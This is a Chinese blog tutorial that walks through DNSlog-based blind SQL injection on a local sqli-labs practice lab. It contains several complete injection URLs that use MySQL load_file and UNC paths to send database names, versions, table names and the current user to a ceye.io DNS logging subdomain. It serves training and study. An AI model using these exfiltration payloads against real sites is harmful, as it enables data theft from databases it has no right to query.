SQL注入奇淫技巧——利用dnslog获取看不到的信息

简介: 对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。

对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python甲苯比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。于是最近学习了一种sql盲注的奇淫技巧。

step1. 介绍CEYE平台

网址:http://ceye.io/

  • 点击进去注册一个帐号,这个平台应该是知道创宇的,因为之前注册过,所以这我直接登录即可,大家注册完毕应该和我一样如下图所示:
img_04e761e9efa6acdcf34956dc48adeca2.png
1.png
  • 注册完之后会自动的在一级域名ceye.io下分配一个二级域名如xxxxx.ceye.io

一级域名是要钱的也是人家的,二级域名就不要钱了,你注册一个帐号,它可以给你分配一个二级域名,这个大家应该知道吧,给大家提点一下,希望有助于大家理解.

  • 在这儿,我只给大家简单说一下,这个平台注册完之后你可以理解其为自己的一台dns服务器吧,当你访问你的域名或者有HTTP请求时候,这个地方会记录你访问的日志,要是不明白看如下图示:
img_1bef78f6d9033eb516c106dd8bc83a58.png
2.png
  • 下面通过一个简单操作,再次有助大家理解

比如浏览器访问http://zzqsmile.xxxxx.ceye.io/,如下图所示:

img_6694e940da695075a77d4f4c71b2c2fc.png
3.png
  • 然后回头看CEYE,记得reload刷新一下
img_0f6217686421672dd7f200659b9096d9.png
4.png

此时我相信你已经理解这个平台的作用了吧,其实就是一个dns解析服务器,只不过只能访问xxxxx.ceye.io及其子域名,才会产生dns日志而已。其他的暂不解释,接着我们今天要将的SQL盲注奇淫技巧。

step2. load_file(filename)函数

相信学习过通过sql注入读写服务器文件的对这个函数应该不陌生,在这我再简单提一下这个函数的作用。

  • load_file(filename)读取文件并返回文件内容为字符串.使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet。

  • 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

实际上load_file()函数还可以用来发送dns解析请求,接下来就实际尝试一下。

img_29bbe5c0bd4cb537472d8b600c3fd2cc.png
5.png
  • 利用的payload是load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))
    database()就是要做sql注入查询的地方。
    concat是字符串拼接
    后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥

上面拼接的结果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了

step3. sqli-labs靶场练习
  • sqli-labs/第五关就是sql盲注,就拿这个来练习一下今天学的这个奇淫技巧吧。
    payload: ?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+

  • 获取当前数据库

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
  • 获取数据库版本
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
img_3f3c95713aee099e5aa922559ba564e2.png
6.png

-获取数据库security中的表

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
img_c3b638b8088e58d97986b4d6894e675c.png
7.png

值得说的是,这种方法不能同时查询多个结果,因此需要使用limit来控制每次查询一条结果。

  • 当然此时有人可能疑问到底有多少张表呢?没错使用count(),我尝试一下是可以查询到有几张表的。如下所示:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
img_b778febb0c70334934938141c64740a8.png
8.png
  • 同理查询字段也类似而已,但是经本人测试,查询user()时候就没查询出来。这是为什么呢? 因为select user()查询到的是root@localhost这样在url里面就变成了http://root@localhost.xxxxx.ceye.io/,显然这样的url不是我们想要的,因为里面有特殊字符@,这样访问的时候就会将root当成用户名,来访问localhost.xxxxx.ceye.io/站点,这点不懂的需要去了解一下URL的组成。正如下图所示:
img_b8922151240bbfc26a5a6ca62537b0a7.png
图片.png

那么现在明白为什么查询user()查询不到了吧,而我现在找到的解决办法是将查询的结果通过base64编码输出出来,但是这个需要mysql版本大于5.6.1才能使用to_base64()编码函数,而我现在的数据库版本是5.5.53,无奈再次就不再演示了,顺便在说下base64解码函数from_base64()

  • 至于mysql版本小于5.6.1就没办法了吗?我现在能想到的就是先查询字符串结果的长度,然后通过一个一个拆分,将其ascii编码,然后查询到我们在解码,最后拼接得到结果。虽然麻烦,还好一般字符串不会太长。以后有时间有更好的方法再分享吧。

  • 之前说使用dnslog查询的有的内容是不能带入URL的,后来也没想到办法,但是后来有想到可以将查询到的内容进行hex()十六进制编码再带进URL里面访问,这样我们就能在dnslog里面看到我们查询到的信息了,不过看到的是十六进制编码内容,我们在将其解码即可。

  • 下面一个简单的例子学习以下这个姿势

img_0009fcf1e7a84754ddb3fe2e460573fd.png
图片.png
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
img_a237a3bfd9738756fdd9a21bdbf91cd0.png
图片.png

将查询数据hex()解密一下看看,nice,没错是root@locakhost

img_6bba7553b4e195246c28181f40a1e76e.png
图片.png

好了,今天的奇淫技巧就到这,大家没事也可以尝试尝试,总结总结,不过友情提示:今天这个奇淫技巧对与window服务器是没问题的,但是Linux服务器貌似不行,至于是什么原因,好像是由于unc的缘故,大家可以去Google或者百度一下unc,笔者有时间也会再去深入研究其原因和其局限性,到时候再更新补充吧。

目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
31 0
|
2月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
22 0
|
2月前
|
SQL Java 数据库连接
[SQL]SQL注入与SQL执行过程(基于JDBC)
[SQL]SQL注入与SQL执行过程(基于JDBC)
50 0
|
2月前
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
47 0
|
2月前
|
SQL 测试技术 数据库
SQL注入,跨站脚本,跨站请求伪造,傻傻分不清楚
SQL注入,跨站脚本,跨站请求伪造,傻傻分不清楚
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
39 0
|
2月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
414 1
|
6天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
14 0
|
14天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入